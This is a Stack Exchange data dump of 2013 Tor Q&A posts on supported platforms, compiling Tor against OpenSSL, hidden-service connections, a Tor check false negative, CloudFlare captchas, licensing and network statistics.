  <row Id="589" PostTypeId="2" ParentId="588" CreationDate="2013-10-17T17:14:17.067" Score="6" Body="&lt;p&gt;Tor runs on many platforms; below is a list of those on which it's known to work.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Microsoft Windows&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 98 SE (Version &amp;lt;= 2.3.x )&lt;/li&gt;&#xA;&lt;li&gt;Windows ME (Version &amp;lt;= 2.3.x )&lt;/li&gt;&#xA;&lt;li&gt;Windows NT (Version &amp;lt;= 2.3.x )&lt;/li&gt;&#xA;&lt;li&gt;Windows 2000 (Version &amp;lt;= 2.3.x )&lt;/li&gt;&#xA;&lt;li&gt;Windows 2000 Server (Version &amp;lt;= 2.3.x )&lt;/li&gt;&#xA;&lt;li&gt;Windows XP&lt;/li&gt;&#xA;&lt;li&gt;Windows 2003 Server&lt;/li&gt;&#xA;&lt;li&gt;Windows Vista&lt;/li&gt;&#xA;&lt;li&gt;Windows 2008 Server&lt;/li&gt;&#xA;&lt;li&gt;Windows 7&lt;/li&gt;&#xA;&lt;li&gt;Windows 2012 Server&lt;/li&gt;&#xA;&lt;li&gt;Windows 8&lt;/li&gt;&#xA;&lt;li&gt;Windows 8.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Apple-based platforms&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mac OS X&lt;/li&gt;&#xA;&lt;li&gt;iOS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Unix-like platforms&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BSD variants&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NetBSD &lt;/li&gt;&#xA;&lt;li&gt;OpenBSD&lt;/li&gt;&#xA;&lt;li&gt;FreeBSD&lt;/li&gt;&#xA;&lt;li&gt;DragonFly BSD&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;GNU/Linux distributions&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Debian&lt;/li&gt;&#xA;&lt;li&gt;Fedora&lt;/li&gt;&#xA;&lt;li&gt;SUSE&lt;/li&gt;&#xA;&lt;li&gt;Gentoo&lt;/li&gt;&#xA;&lt;li&gt;Arch&lt;/li&gt;&#xA;&lt;li&gt;Most others&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Solaris-based&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenSolaris&lt;/li&gt;&#xA;&lt;li&gt;illumos&lt;/li&gt;&#xA;&lt;li&gt;OpenIndiana&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Mobile platforms&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Android&lt;/li&gt;&#xA;&lt;li&gt;Nokia Maemo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It runs on ARM as well as 32-bit and 64-bit Intel/AMD compatible processors.  In other words, almost everything.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-12-10T01:09:01.793" LastActivityDate="2013-12-10T01:09:01.793" CommentCount="3" CommunityOwnedDate="2013-12-10T01:09:01.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostTypeId="2" ParentId="571" CreationDate="2013-10-17T17:51:30.300" Score="0" Body="&lt;p&gt;Well... if you've had malware running around and things going missing, just try your original fix: extract it again, see if it works okay this time.  If it does, you can probably write it off as a malware problem.  Make sure you don't extract the .zip file in the same place without deleting the old folder, and make sure you're using an up-to-date TBB.  Also, I've known certain combinations of browser addons to prevent it from starting.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2013-10-17T17:51:30.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostTypeId="2" ParentId="571" CreationDate="2013-10-17T18:44:27.777" Score="1" Body="&lt;p&gt;Your problem seems not Tor-related. As you wrote your system was/is infected with malware which can do arbitrarily bad things with your machine. In the first place you should save all your important data, reformat and reinstall your machine. This is the only safe way to remove any malware. When you are done, you can download and use Tor Browser Bundle without those issues.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-17T18:44:27.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="592" PostTypeId="2" ParentId="486" CreationDate="2013-10-17T19:24:00.923" Score="2" Body="&lt;p&gt;The term &lt;code&gt;rend desc&lt;/code&gt; refers to a rendezvous descriptor. This is a special node for hidden services. In your case this information is missing and so it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand it correctly you can wait a few minutes and retry your connection. There is a chance that you'll get a rendezvous descriptor this time..&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-17T19:24:00.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostTypeId="1" CreationDate="2013-10-17T23:45:36.500" Score="3" ViewCount="280" Body="&lt;p&gt;When a webserver runs behind a hidden service, can it serve multiple HTTP requests at the same time, or will it only be able to handle one request at a time? &lt;/p&gt;&#xA;" OwnerUserId="406" LastActivityDate="2013-10-18T08:06:44.333" Title="Can hidden services accept multiple simultanous connections?" Tags="|onion-services|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostTypeId="1" AcceptedAnswerId="596" CreationDate="2013-10-06T14:49:59.303" Score="5" ViewCount="1825" Body="&lt;p&gt;So I'm trying to (re-)compile &lt;a href=&quot;https://www.torproject.org/dist/tor-0.2.3.25.tar.gz&quot;&gt;Tor 0.2.3.25&lt;/a&gt; (gzipped tarball) on my OS X 10.5.8 system (with GCC 4.0.1) and it's currently dying horribly here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc  -g -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-all -Wstack-protector -fwrapv --param ssp-buffer-size=1 -fPIE -Wall -fno-strict-aliasing -Wno-deprecated-declarations  -pie -dead_strip -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libor-event.a -lz  -levent -lssl -lcrypto  &#xA;Undefined symbols:&#xA;  &quot;_EVP_sha256&quot;, referenced from:&#xA;      _crypto_hmac_sha256 in libor-crypto.a(crypto.o)&#xA;  &quot;_EVP_aes_128_ctr&quot;, referenced from:&#xA;      _aes_new_cipher in libor-crypto.a(aes.o)&#xA;  &quot;_RSA_generate_key_ex&quot;, referenced from:&#xA;      _crypto_pk_generate_key_with_bits in libor-crypto.a(crypto.o)&#xA;  &quot;_SHA256&quot;, referenced from:&#xA;      _crypto_digest256 in libor-crypto.a(crypto.o)&#xA;  &quot;_SHA256_Update&quot;, referenced from:&#xA;      _crypto_digest_add_bytes in libor-crypto.a(crypto.o)&#xA;  &quot;_SHA256_Final&quot;, referenced from:&#xA;      _crypto_digest_get_digest in libor-crypto.a(crypto.o)&#xA;  &quot;_SHA256_Init&quot;, referenced from:&#xA;      _crypto_digest256_new in libor-crypto.a(crypto.o)&#xA;ld: symbol(s) not found&#xA;collect2: ld returned 1 exit status&#xA;make[3]: *** [tor] Error 1&#xA;make[2]: *** [all-recursive] Error 1&#xA;make[1]: *** [all-recursive] Error 1&#xA;make: *** [all] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I'm going to have to tweak (add?) those symbols in crypto.c and aes.c before trying again, but not being much of a C coder I've got no idea what needs to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each of those cases we have another common theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ironic:common ben$ pwd&#xA;/usr/local/src/tor-0.2.3.25/src/common&#xA;ironic:common ben$ cat -n crypto.c | grep _EVP_sha256&#xA;ironic:common ben$ cat -n crypto.c | grep EVP_sha256&#xA;  1630    HMAC(EVP_sha256(), key, (int)key_len, (unsigned char*)msg, (int)msg_len,&#xA;ironic:common ben$ cat -n aes.c | grep _EVP_aes_128_ctr&#xA;ironic:common ben$ cat -n aes.c | grep EVP_aes_128_ctr&#xA;    99    EVP_EncryptInit(&amp;amp;cipher-&amp;gt;evp, EVP_aes_128_ctr(),&#xA;   411        /* In openssl 1.0.0, there's an if'd out EVP_aes_128_ctr in evp.h.  If&#xA;ironic:common ben$ cat -n crypto.c | grep _RSA_generate_key_ex&#xA;ironic:common ben$ cat -n crypto.c | grep RSA_generate_key_ex&#xA;   459      if (RSA_generate_key_ex(r, bits, e, NULL) == -1)&#xA;ironic:common ben$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same check for &quot;_SHA256&quot; falls over because of the existence of DIGEST_SHA256 in crypto.c, but you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this has compiled before, but recently I did attempt updating OpenSSL (actually I installed it to /usr/local/bin instead of OS X's default of /usr/bin), but I'm not certain that's related in some way to the current failure to compile.  It's possible, but it's equally possible that the /usr/local installation would be ignored entirely in favour of the ancient system default in /usr/bin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has encountered this before or has a solution, I'd greatly appreciate it.  I'm willing to try fixes which involve patching or modifying the source files (e.g. adding C headers), as long as it isn't modifying the crypto itself.&lt;/p&gt;&#xA;" OwnerUserId="414" OwnerDisplayName="Ben" LastActivityDate="2013-10-18T01:08:13.537" Title="Tor compiling error - undefined symbols in libor-crypto.a" Tags="|mac|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="596" PostTypeId="2" ParentId="595" CreationDate="2013-10-06T22:09:06.773" Score="3" Body="&lt;p&gt;The errors indicate that the symbols are not present at link time. The symbols listed are ones that are exported by &lt;code&gt;libcrypto&lt;/code&gt;, which is a part of &lt;code&gt;OpenSSL&lt;/code&gt;; however they are not exposed in the version of &lt;code&gt;openSSL&lt;/code&gt; that is shipped in Mac OS X 10.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor requires &lt;code&gt;sha256&lt;/code&gt; to function correctly, so as a result you need to use an updated version of the &lt;code&gt;OpenSSL&lt;/code&gt; library that provides this. This means that you need to specify the path to the &lt;code&gt;OpenSSL&lt;/code&gt; library. I would have expected this to be all that is needed; but not having a 10.5 system to test it on, I could not verify it. You need to add the extra option to link in OpenSSL statically, as it doesn't seem to work otherwise; mind you this may be worked around using an RPATH reference passed to the linker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final configure command line would read, assuming that openssl was installed into &lt;code&gt;/usr/local/opt/openssl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --prefix=/usr/local/opt/openssl --enable-static-openssl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ends up with a final tor compile line that contains a reference to the library directly, thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc  -g -O2 -D_FORTIFY_SOURCE=2 -Qunused-arguments -fstack-protector-all -Wstack-protector -fwrapv --param ssp-buffer-size=1 -fPIE -Wall -fno-strict-aliasing -Wno-deprecated-declarations -L/usr/local/opt/openssl/lib -L/usr/local/lib -pie -dead_strip -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libor-event.a -lz  -levent /usr/local/opt/openssl/lib/libssl.a /usr/local/opt/openssl/lib/libcrypto.a  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important piece being the items: &lt;code&gt;/usr/local/opt/openssl/lib/libssl.a&lt;/code&gt; and &lt;code&gt;/usr/local/opt/openssl/lib/libcrypto.a&lt;/code&gt;, which are the references to the openssl library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;addendum&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to build a &lt;em&gt;portable&lt;/em&gt; version of tor, that doesn't depend on any libraries other than those shipped with the OS, you also need to pass in the &lt;code&gt;--enable-static-libevent&lt;/code&gt; flag, as otherwise it will have a dependency on this &lt;code&gt;.dylib&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;addendum2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Untested, it may work, but I simply don't know...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try using the shared library, and also make sure that the library is referenced in the run-path of the binary, you need to perform a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export LDFLAGS=-Wl,-rpath,&amp;lt;directory containing libssl.dylib&amp;gt;:&amp;lt;directory containing libevent.dylib&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before running the configure command, and omit the &lt;code&gt;--enable-static-openssl&lt;/code&gt; and &lt;code&gt;--enable-static-libevent&lt;/code&gt; command line options. The problem with this, though is that it now means your &lt;code&gt;tor&lt;/code&gt; binary depends on these libraries.&lt;/p&gt;&#xA;" OwnerDisplayName="Petesh" LastActivityDate="2013-10-06T22:09:06.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostTypeId="2" ParentId="593" CreationDate="2013-10-18T01:32:59.207" Score="4" Body="&lt;p&gt;Webservers generally accept many simultaneous connections, and process many requests simultaneously. As Peter Palfrader aka weasel notes in his answer, the Tor hidden service protocol can also handle multiple simultaneous connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users see the webserver's public hostname, and connect via Tor circuits. The webserver sees users coming from virtual ports on the Tor gateway. But they're all routed through one reverse proxy, so there is a throughput bottleneck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[This space is available for someone who can explain workarounds.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that your server is well secured. If you need remote ssh and sftp, disable password-based login and and root login, and allow only id_rsa.pub-based login by user. Also, stick to static html unless you know php and mysql well. Vulnerabilities in php and mysql are the major holes when remote login is secured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just learning, it may be best to start with &lt;a href=&quot;http://www.acme.com/software/thttpd/&quot; rel=&quot;nofollow&quot;&gt;thttpd&lt;/a&gt;. It's a very simple and secure (with small attack surface) webserver. And it also &lt;a href=&quot;http://www.acme.com/software/thttpd/thttpd_man.html&quot; rel=&quot;nofollow&quot;&gt;&quot;has one extremely useful feature (URL-traffic-based throttling) that no other server currently has&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-18T08:06:44.333" LastActivityDate="2013-10-18T08:06:44.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostTypeId="1" CreationDate="2013-10-18T04:01:45.600" Score="1" ViewCount="1975" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;ADD: ^^^ mmm I don't think it's the same. In that question they talk&#xA;  about a &lt;strong&gt;false negative&lt;/strong&gt;, but judging from the results of my&#xA;  port-scan, and considering that more than 2 weeks passed, it looks&#xA;  like there's no Tor-like service running on them. Therefore this seems&#xA;  to be a legitimate negative, not a false one imho.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A strange issue started happening to me since about 2 weeks ago:&#xA;I started noticing TBB home screens like this one:&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/56rOA.jpg&quot; alt=&quot;Sorry. You are not using Tor.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time I thought it was some sort of synchronization problem between the beginning of activity of a new exit node in the network and its official adding to the Tor directory.  So I just reloaded Tor and let it go.&#xA;But then a few days later it happened another time, with a very-similar-but-different IP that came from the same network I guess (the first was 72.52.91.18, while the other 72.52.91.19). After that, another couple of times it showed up with the same initial IP. So I started being dubious,  and I decided to find out what could it be when I had a free moment. So just a few minutes ago I took some info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Their ISP seems to be Hurricane Electric. Its servers are from the same network, located near Livermore (California). Here's my whois: &lt;a href=&quot;http://paste.ubuntu.com/6254724/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://paste.ubuntu.com/6254724/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I also did a nmap, to verify whether they really had some kind of Tor service running, and it doesn't seem so.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nmap scan report for 72.52.91.18&#xA;Host is up (0.26s latency). Not shown: 994 filtered ports    &#xA;&#xA;PORT    STATE  SERVICE&#xA;22/tcp  open   ssh&#xA;25/tcp  closed smtp&#xA;53/tcp  closed domain&#xA;80/tcp  closed http&#xA;179/tcp closed bgp&#xA;443/tcp closed https&#xA;&#xA;Nmap done: 1 IP address (1 host up) scanned in 387.11 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nmap scan report for 72.52.91.19&#xA;Host is up (0.26s latency). Not shown: 807 closed ports, 191 filtered ports&#xA;&#xA;PORT     STATE SERVICE&#xA;22/tcp   open  ssh&#xA;8888/tcp open  sun-answerbook&#xA;&#xA;Nmap done: 1 IP address (1 host up) scanned in 117.63 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hilariously, just after my nmapping, I ran TBB and... there was it again, same IP!&lt;br&gt;&#xA;So I made a screenshot and decided to share it with you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;" OwnerUserId="408" LastEditorUserId="923" LastEditDate="2014-07-02T01:42:03.933" LastActivityDate="2014-07-02T01:42:03.933" Title="'Sorry. You are not using Tor' - Strange issue 72.52.91.18/19" Tags="|anonymity|exit-relays|onion-routing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="599" PostTypeId="1" CreationDate="2013-10-18T04:19:30.283" Score="10" ViewCount="16101" Body="&lt;p&gt;CloudFlare's captcha screen appears more and more often during Tor browsing.&#xA;First they ask for a CAPTCHA and that's ok. Then there's the copy/paste confirmation string. That should be the last obstacle, but instead I'm back again to the same screen, re-doing it in an endless loop, that is quite frustrating. I'm not alone with it; there are others with &lt;a href=&quot;http://www.webhostingtalk.com/showthread.php?t=1290351&quot;&gt;the same problem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only are they invading our privacy in a much worse way than normal trackers do (certainly much more difficult to block), they also make it impossible for us to freely and flawlessly surf the web!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CloudFlare and all the similar services are the new-generation of trackers: with the excuse of being protective against all kinds of DoS attacks, they are quickly conquering a very big slice of the internet! And whenever you try to visit a site that they serve, your request will go straight to them first, and therefore logged and shared too. There is no way to block this unless you avoid visiting all the websites it serves, of which there are quite a lot actually....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like the usability and user-experience of Tor browsing is exponentially decreasing due to these kinds of issues. Has anyone else noticed this problem with CloudFlare? What do you think about it, and what the solution could be?&lt;/p&gt;&#xA;" OwnerUserId="408" LastEditorUserId="71" LastEditDate="2013-11-10T12:37:07.803" LastActivityDate="2015-04-19T01:22:41.330" Title="CloudFlare's captcha screen insurmountable" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="10" ClosedDate="2015-04-30T22:09:22.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostTypeId="2" ParentId="593" CreationDate="2013-10-18T06:28:24.777" Score="2" Body="&lt;p&gt;A hidden service can handle multiple connections at a time.  Thus, your webserver should be able to handle multiple requests at a time.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-18T06:28:24.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostTypeId="1" CreationDate="2013-10-18T17:18:30.367" Score="1" ViewCount="1720" Body="&lt;p&gt;An error pops up saying my firefox profile is missing. I have made three diffrent ones so I can assure that it is there. I'm assuming it is because I am on a public pc?&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2013-10-18T20:40:58.967" Title="Firefox Profile Missing Error" Tags="|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="604" PostTypeId="2" ParentId="588" CreationDate="2013-10-18T17:47:43.507" Score="2" Body="&lt;p&gt;The current stable version of the expert bundle, 0.2.3.25, works well on all of the listed versions of Windows. The 0.2.4 beta versions don't work on 98SE/ME or Windows 2000.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-10-18T17:47:43.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="605" PostTypeId="2" ParentId="603" CreationDate="2013-10-18T20:40:58.967" Score="1" Body="&lt;p&gt;Assuming you are using the Tor Browser Bundle&#xA;Redownload the latest bundle, then extract it into a different location than your current one. Start the Tor Browser, don't start Firefox directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, especially if you've updated Tor Browser Bundle, extracting an update directly on top can cause issues with Firefox.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-18T20:40:58.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="606" PostTypeId="2" ParentId="351" CreationDate="2013-10-18T20:57:58.263" Score="2" Body="&lt;p&gt;I defer to Peter Palfrader's aka weasel's excellent answer to the main question, &quot;How safe are Tor users?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the closing sub-question, &quot;Does Tor still present a threat to the NSA?&quot;, I'm wondering whether OP meant to say &quot;Does the NSA still present a threat to Tor users?&quot;. The answer for that question is &quot;of course&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding Tor as a threat to the NSA, it's arguable that everything is a threat to the NSA ;) If we take &quot;King of high-secure, low-latency Internet anonymity&quot; at face value, it's arguable that the NSA sees Tor as a credible threat. That's because the NSA apparently sees its mission as intercepting and querying all global communication, on all channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's something ironic about this. I get from Bamford's books that Navy intelligence was initially the major contributor to the NSA, and that the Air Force played catchup through at least the early 1960s. And of course, it was the Navy that initially funded Tor development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, perhaps the NSA is rather ambivalent about Tor. But there are others who might comment knowledgeably on that point ;)&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-18T20:57:58.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="607" PostTypeId="2" ParentId="598" CreationDate="2013-10-18T22:14:43.163" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://metrics.torproject.org/exonerator.html&quot; rel=&quot;nofollow&quot;&gt;ExoneraTor&lt;/a&gt; to find out if a particular IP was running a Tor relay at a particular time. For example, according to ExoneraTor &#xA;72.52.91.19 was running an exit node on 2013-10-13. This lends support to the theory that the check error you saw may have been a false negative.&lt;/p&gt;&#xA;" OwnerUserId="415" LastActivityDate="2013-10-18T22:14:43.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostTypeId="1" AcceptedAnswerId="609" CreationDate="2013-10-18T22:59:27.203" Score="6" ViewCount="789" Body="&lt;p&gt;When I go to download the Tor Browser Bundle, I cannot find any license information about the licenses that are applicable to the Tor Browser Bundle either included as a LICENSE file in the download, nor on the download page of the website (the usual places I check for licenses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that Tor is Open Source, but I cannot find out which specific license(s) the Tor Browser Bundle as a whole is licensed under - including core Tor, Vidalia, Tor Button, Tor Browser etc.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-18T23:53:50.907" Title="What license(s) are the Tor Browser Bundles licensed under?" Tags="|tor-browser-bundle|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="609" PostTypeId="2" ParentId="608" CreationDate="2013-10-18T23:53:50.907" Score="3" Body="&lt;p&gt;The browser itself is a customised version of Mozilla Firefox Aurora, so the license in that case comes from Mozilla.  Many of the components have their own licenses, but essentially you're looking at the GPL, various iterations of the BSD/MIT license, the OpenSSL license and some Tor specific stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is more detail in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#DistributingTor&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt; and it doesn't count the trademark for the Tor name and logo.&lt;/p&gt;&#xA;" OwnerUserId="414" LastActivityDate="2013-10-18T23:53:50.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="610" PostTypeId="1" AcceptedAnswerId="611" CreationDate="2013-10-19T18:33:38.350" Score="5" ViewCount="4023" Body="&lt;p&gt;The current stable version of Tor, 0.2.3.25 works well on Win98/ME/2000. The present 0.2.4 versions require XP or newer. I'd like to compile the 0.2.4 versions to run on Win98 through Win 2000. What do I need to compile Tor on Windows? &lt;/p&gt;&#xA;" OwnerUserId="355" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:09.950" LastActivityDate="2014-03-04T08:22:09.950" Title="Compiling Tor on Windows, what is needed?" Tags="|windows|source-code|platform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="611" PostTypeId="2" ParentId="610" CreationDate="2013-10-19T18:58:20.740" Score="4" Body="&lt;p&gt;Last time I built it, I got the &lt;a href=&quot;http://msysgit.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mingw32 toolchain&lt;/a&gt;, and then started building the libraries needed.&lt;/p&gt;&#xA;&lt;p&gt;On &lt;a href=&quot;https://jenkins.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;our continuous integreation setup&lt;/a&gt; the Tor build for Win32 &lt;a href=&quot;https://gitweb.torproject.org/project/jenkins/jobs.git/blob/07532d43880a086e9428e2948276c33b0f8552f4:/jobs.yaml#l217&quot; rel=&quot;nofollow noreferrer&quot;&gt;pulls in the builds for&lt;/a&gt; for libevent, openssl, and zlib.&#xA;The &lt;a href=&quot;https://gitweb.torproject.org/project/jenkins/tools.git/tree/HEAD:/slaves/windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;build scripts&lt;/a&gt; we use there might be helpful.&lt;/p&gt;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/tree/HEAD:/build-scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Erinn's scripts to build the Tor Browser Bundle&lt;/a&gt; helpful when I set up our Jenkins, but it was tough going.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-19T18:58:20.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostTypeId="1" AcceptedAnswerId="642" CreationDate="2013-10-20T10:27:36.123" Score="7" ViewCount="172" Body="&lt;p&gt;I'd like to learn about the Tor network in terms of numbers, statistics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I find out how many relays the network has and possibly where they are located?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I learn about roles the relays play in the network? For example, how many exits/guards/middle (or combination) are there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I learn about individual relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I learn about how likely it is to use a given exit/guard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you can keep track of users, can I find out how many people use Tor/used Tor? If possible even with where they are coming from and if they used vanilla Tor or a Pluggable Transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I learn about the performance of the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I learn if the network is in good shape regarding the network-documents that get published like the consensus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done somehow, either with tools developed by someone or websites/service or manually?&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-10-22T18:09:24.440" Title="How can I learn about the network?" Tags="|network-health|stats|diagnostics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostTypeId="2" ParentId="613" CreationDate="2013-10-20T10:50:59.450" Score="5" Body="&lt;p&gt;The Tor project has a website dedicated to network statistics on &lt;a href=&quot;https://metrics.torproject.org/&quot;&gt;metrics.torproject.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorUserId="58" LastEditDate="2013-10-20T21:00:28.263" LastActivityDate="2013-10-20T21:00:28.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
